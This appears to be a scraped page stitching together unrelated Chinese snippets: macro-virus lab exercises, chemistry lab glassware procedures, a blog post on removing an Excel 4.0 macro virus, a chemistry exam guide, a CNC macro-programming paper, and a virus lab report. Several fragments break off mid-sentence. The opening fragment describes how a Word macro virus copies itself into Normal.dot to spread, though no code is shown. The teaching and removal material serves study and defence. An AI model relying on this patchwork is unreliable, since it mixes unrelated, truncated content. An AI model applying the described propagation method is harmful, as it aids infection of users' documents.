Word”对象“ThisDocument”中输入以下代码（Macro-1），保存，此时当前word文档就含有宏病毒，只要下次打开这个word文档，就会执行以上代码，并将自身复制到Normal.dot（word 文档的公共模板）和当前文档的ThisDocument中，同时改变函数名（模板中为Document_Close，当前文档为Document_Open），此时所有的word文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响word的正常使用，本例中只是简单的跳出一个提示框。完整代码如下： 'Macro-1：Micro-Virus

实验室常用的基本操作

实验室常用的基本操作玻璃仪器的基本操作 1、认领仪器按照仪器单领取和认识基础化学实验中的常用仪器。

2、玻璃仪器的洗涤

（1）震荡水洗（2）内壁附有不易洗掉的物质，可用毛刷刷洗倒废液——注入一半水——选好毛刷，确定手拿部位刷洗——如是反复（3）刷洗后，再用水连续振荡数次，必要时还应用蒸馏水淋洗三次洗净状态下，水均匀分布不挂水珠（如左图所示）；未洗净状态下，器壁挂着水珠（如右图所示）。玻璃仪器里如附有不溶于水的碱、碳酸盐、碱性氧化物等可先加盐酸溶解，再用水冲洗；附有油脂等污物可先用热的纯碱液洗，然后用毛刷刷洗，也可用毛刷蘸少量洗衣粉刷洗；对于口小、管细的仪器，不便用刷子洗，可用少量王水或重铬酸盐洗液涮洗；用以上方法清洗不掉的污物可用较多王水或洗液浸泡，然后用水涮洗。（ (1)不要未倒废液就注水 (2)不要几支试管一起刷） 3、仪器的干燥（1）晾干（左图）与烤干（右图）

（2）吹干（左图）与烘干（右图）（3）气流烘干（左图）与快干（右图） 4、常见玻璃仪器的使用（1）量筒与量杯（2）移液管移液管使用注意事项：应根据不同的需要选用大小合适的移液管，如取1.5ml的溶液，显然选用2ml移液管要比选用5ml移液管误差小；吸取溶液时要把移液管插入溶液，避免吸入空气而将溶液从上端

溢出；移液管从液体中移出后必须用滤纸将管的外壁擦干，再行放液；不可用移液管直接从瓶中移取溶剂或溶液，剩余溶剂或溶液不可倒回贮液瓶，应作废弃物处理。（2）滴定管操作步骤：洗涤——涂凡士林——检漏——装入操作液——滴定管排气——滴定操作（3）容量瓶容量瓶使用前应检查容量瓶的瓶塞是否漏水，合格的瓶塞应系在瓶颈上，不得任意更换。容量瓶刻度以上的内壁挂有水珠会影响准确度，所以应该洗得很干净。称量的任何固体物质必须先在小烧杯中溶解或加热溶解，冷却至室温后才能转移到容量瓶中。容量瓶绝不应加热或烘干。容量瓶定容完再翻转摇匀，若翻转摇匀后定容，会因加的水或溶剂过多，导致溶液浓度偏小。

令人心烦的excel宏病毒终于清除了-推荐下载

令人心烦的excel宏病毒终于清除了!我如释重负地吁了口气，脑子一下子轻松了许多。你可能不知道，为了清除这个excel宏病毒，几天来，搞得我头昏脑胀。大约两三个星期前，同事罗某告诉我，下面报上来的excel表，打开后出现了奇怪的现象：会自动打开一个book1的电子表格。他让我帮忙解决一下。我初步判断是宏病毒，默认打开的book1可能是excel的模板。我先“另存为”文件，找到book1的位置，删掉。同时把excel的宏安全性设置为高，禁止运行来历不明的宏，问题即解决了。恰巧到下面去检查工作，某单位反映，电脑中病毒了，所以没有及时交表格。一问情况，与罗某讲的情况一样。我主动表示去“搞搞看”。但是情况并非如我猜想的那样。情况是：如果将宏的安全性设为非常高，禁用宏，会弹出一个警告：“出现了一个不能被禁止、又无法签署的Microsoft Excel 4.0 宏”，该表打不开；如果要打开这个表，必须降低excel宏安全性等级，将它设为中或低，即运行宏病毒，但又多出了一个book1表。即使将book1删除，仍然不行。面对这个新病毒，当时我不知该怎么办。没过两天，罗某又来找我，说又出现了一种现象。我去看了，正与上次在下面检查时看到了excel 4.0 宏病毒一模一样。而且，下面有几个单位都说出现了宏病毒，上报来的表格中都有上面讲的问题。而且办公室有三台电脑都感染了excel 4.0 宏病毒。这么多的电脑感染了，引起了我的兴趣。

以前，我的电脑也多次中过病毒。我一般的做法就是上网查找资料，把几篇文章介绍的方法结合起来，多试几次，几乎都能解决。可是这一次，情况完全不同。上网查了多次，讲宏病毒的文章特别多，但是介绍杀除方法的极少，而专门针对Microsoft Excel 4.0 宏病毒的只有一两篇提问的贴子，所介绍的方法就两样，一是在Excel 2003中禁止宏，二是用杀毒软件。第一种禁止是不行的，第二种杀毒软件我用了小红伞、360安全卫士，没查出病毒。除此之外，还有一种临时救急的方法是：打开病毒表格，复制，再新建一个表格，选择性粘贴，只选值，最后保存。这个办法虽然行，但是面对那么多有宏病毒的表格，一个一个打开、复制、选择性粘贴是不现实的。怎么办呢？接下来，我的思路是选择一种不支持excel宏的电子表格软件，这样也许就把宏病毒过滤了。我试验过的软件有：wps office 2003 到最新的2010版，Ashampoo Office 2010，OpenOffice 3.2，永中Office 2009。它们都提示发现了宏，有的说不支持，有的说可以禁用，重新保存后宏病毒仍然存在，要么再打开时软件死机。但是试验中发现微软Office 2007 / 2010 Beta 可以打开表格，只是在菜单栏提示“禁止了宏”，不影响操作。然而，现在基层单位的电脑配置都比较低，安装不了Office 2007 / 2010 Beta，再说Office 2007 / 2010 Beta的菜单怪怪的，很多人不习惯。最重要的是，这并没有从根本上解决问题，宏病毒依然在表格文件里。有个单位的人对我说，他们请来了电脑公司人员，几个小青年，把

学实验常用仪器和基本操作例题与答案

一、初中化学实验常用仪器和基本操作一、中考热点 1．常用仪器的正确使用要领常见仪器：酒精灯、胶头滴管、烧杯、试管、量筒、托盘天平、玻璃棒、漏斗、集气瓶 2．化学实验基本操作基本操作：药品的取用和称量、仪器的连接和洗涤、物质的加热、过滤、蒸发等 3．三大气体的制取原理、装置、步骤、收集方法； 4．三大气体的除杂方法、验证方法； 5．设计实验组装装置以及定性分析与定量分析相结合的综合实验题。根据性质解决实际问题，增强学生环保意识的内容已成为必考知识点。利用所给信息，选择实验室制取装置也列入中考必考行列。 6．要求掌握物质鉴别和鉴定的分析方法及解答要领。中考命题的热点主要是常见气体的鉴别和常见离子的鉴定。二、复习指导能正确进行实验基本操作，对实际操作进行判断常出在选择题中，物质的区分和检验及混合物的分离知识较灵活，一般出在实验和填空题中；利用科学探究认识和解决一些化学问题，通常以实验或探究题的形式进行考查，是中考的热点和重点，在中考中占20~30%。复习此部分时要熟悉常用的简单的化学仪器，知道安全操作的注意事项及不良后果，培养提出问题——大胆猜想——制定计划——科学实验——合理解释——认真总结反思的科学探究能力，会有意识的运用科学探究这种重要的学习方式。 1．识别仪器，了解用途，掌握操作原理； 2．可以把常见仪器和基本操作，按照一定的标准进行分类，再记忆； 3．结合一些具体习题进行练习，活学活用。 4．明确实验室制取气体的思路和方法； 5．利用实验或实验图片将气体的制取装置、操作步骤及注意事项进行比较，从中总结归纳，达到能举一反三； 6．对于物质发生化学变化时表现的现象应该有正确的观察顺序； 7．利用对比，将性质中的现象、操作步骤及注意事项进行比较，突出它们的不同点。 8．要清楚混合物分离与提纯的方法和原理，同时还要掌握元素化合物的重要性质及元素化合物之间的转化。要选择出混合物的分离与提纯所用的试剂，是比较困难的，同学们在做题时首先分清是用物理方法，还是用化学方法提纯。然后根据除杂的基本原则：“两不一易”即不增加新杂质，不减少提出物质，易于分离去做题，就迎刃而解了。 9．在检验物质时，必须要写出检验的步骤、产生的现象和得出的结论：必要时应写出相应的化学方程式加以说明。 10．在检验过程中，不能把被检验的物质当作已知物质来叙述，必须根据实验现象来判断是什么物质。

数控机床宏程序编程技巧实例

论文：数控机床宏程序编程的技巧和实例西北工业集团有限公司白锋刚 2018年8月11日前言随着工业技术的飞速发展，产品形状越来越复杂，精度要求越来越高，产品更新换代越来越快，传统的设备已不能适应新要求。现在我国的制造业中已广泛地应用了数控车床、数控铣床、加工中心机床、数控磨床等数控机床。这些先进设备的加工过程都需要由程序来控制，需要由拥有高技能的人来操作。要发挥数控机床的高精度、高效率和高柔性，就要求操作人员具有优秀的编程能力。常用的编程方法有手工编程和计算机编程。计算机编程的应用已非常广泛。与手工编程比较，在复杂曲面和型腔零件编程时效率高、质量好。因此，许多人认为手工编程已不再重要，特别是比较难的宏程序编程也不再需要。只须了解一些基本的编程规则就可以了。这样的想法并不能全面。因为，计算机编程也有许多不足：1、程序数据量大，传输费时。2、修改或调整刀具补偿需要重新后置输出。 3、打刀或其他原因造成的断点时，很难及时复位。手工编程是基础能力，是数控机床操作编程人员必须掌握的一种编程方法。手工编程能力是计算机编程的基础，是刀具轨迹设计

，轨迹修改，以及进行后置处理设计的依据。实践证明，手工编程能力强的人在计算机编程中才能速度快，程序质量高。在程序中使用变量，通过对变量进行赋值及处理使程序具有特殊功能，这种有变量的程序叫宏程序。宏程序是数控系统厂家面向客户提供的的二次开发工具，是数控机床编程的最高级手工方式。合理有效的利用这个工具将极大地提升机床的加工能力。作为一名从事数控车床、数控铣床、加工中心机床操作编程二十多年的技师，在平时的工作中，常常用宏程序来解决生产中的难题，因此对宏程序的编程使用积累了一些经验。在传授指导徒弟和与同事探讨中，总结了许多学习编制宏程序应注意的要点。有关宏编程的基础知识在许多书籍中讲过，我们在这里主要通过实例从编制技巧、要点上和大家讨论。一、非圆曲面类的宏程序的编程技巧 1、非圆曲面可以分为两类； <1）、方程曲面，是可以用方程描述其零件轮廓的曲面的。如抛物线、椭圆、双曲线、渐开线、摆线等。这种曲线可以用先求节点，再用线段或圆弧逼近的方式。以足够的轮廓精度加工出零件。选取的节点数目越多，轮廓的精度越高。然而节点的增多，用普通手工编程则计算量就会增加的非常大，数控程序也非常大，程序复杂也容易出错。不易调试。即使用计算机辅助编程，其数据传输量也非常大。而且调整尺寸补偿也很不方便。这时就显出宏程序的优势了，常常只须二、三十句就可以编好程序。而且理论上还可以根

一个简单宏病毒的感染与清楚

宏病毒实验 1. 实验目的（1）理解宏病毒的概念、病毒机制、传播手段以及预防措施。（2）观察一个简单宏病毒感染计算机后的现象，并寻找清除病毒的方法。 2. 实验原理宏（Macro）是微软公司出品的Office软件包中所包含的一项特殊功能。微软公司设计此项功能的主要目的是给用户自动执行一些重复性的工作提供方便。它利用简单的语法，把常用的动作写成宏，用户工作时就可以直接利用事先编写好的宏自动运行，以完成某项特定的任务，而不必反复重复相同的工作。微软的Word Visual Basic for Application(VBA)是宏语言的标准。宏病毒正是利用Word VBA 编写的一些宏，是一种寄存在文档或模板中的计算机病毒。一旦打开含有宏病毒的文档，其中的宏就会执行，宏病毒被激活，转移到计算机中并驻留在Normal 模板上。以后所有自动保存的文档都会感染上这种宏病毒。预防宏病毒有以下几种基本的方法：（1）防止执行自动宏：可以通过在DOS提示符下输入指令”WinWord.exe /m DisableAutoMacro”来防止打开Word文档时执行自动宏。另外，在打开或关闭文档时按下Shift键可以使文档不执行任何自动宏。（2）保护Normal模板：可以采取以下几种方法对Normal模板进行保护。提示保存Normal模板；设置Normal模板的只读属性；设置密码保护；设置安全级别；按照自己的习惯设置Normal模板并进行备份，当被病毒感染时，使用备份模板覆盖当前模板。（3）使用DisableAutoMacro功能。 3. 实验环境虚拟机下Windows server 2003 4. 实验内容本实验拟在虚拟机下感染一个简单的宏病毒，然后观察病毒对计算机有什么影响，最后寻求清除方法。

计算机病毒实验

计算机病毒实验报告

一、实验目的（1）掌握常见几种病毒的基本原理（2）掌握清除病毒的方法（3）学会使用几种常见病毒进行基本编程的技术二、实验内容分别用PE病毒，欢乐时光脚本病毒，梅丽莎宏病毒，台湾宏病毒，万花谷脚本病毒，网络炸弹脚本病毒进行感染和病毒清除实验。三、实验环境信息安全综合实验系统操作系统：WINDOWS2000 JDK版本：Java Standard Edition 1.4.0以上数据库：Mysql 开发语言：JSP Web服务器:Tomacat Office版本:MS office2000/2003 四、实验结果 1、网络炸弹（1）实验原理网页恶意代码确切的讲是一段黑客破坏代码程序，它内嵌在网页中，当用户在不知情的情况下打开含有病毒的网页时，病毒就会发作。这种病毒代码镶嵌技术的原理并不复杂，所以会被很多怀不良企图者利用，使非常多的用户遭受损失。 “网络炸弹”是一种网页恶意代码，可以无限次得弹出固定窗口来达到侵占客户机系统资源，最终导致客户端死机的结果。（2）结果演示 1、修改IE的安全级别

2、修改注册表的安全设置图2 修改IE安全设置

3、网络炸弹感染图3 网络炸弹感染4、网络炸弹源码图4 网络炸弹源码

2、万花谷脚本病毒（1）实验原理 JS.On888 脚本病毒(俗称“万花谷”病毒)实际上是一个含有恶意脚本代码的网页文件，其脚本代码具有恶意破坏能力，但并不含有传播性。实验病毒为模仿它所写成的类“万花谷”病毒,减轻了病毒危害。（2）结果演示 1、修改IE的安全级别 2、万花谷病毒感染图5 万花谷病毒感染-1

实验八 宏操作 答案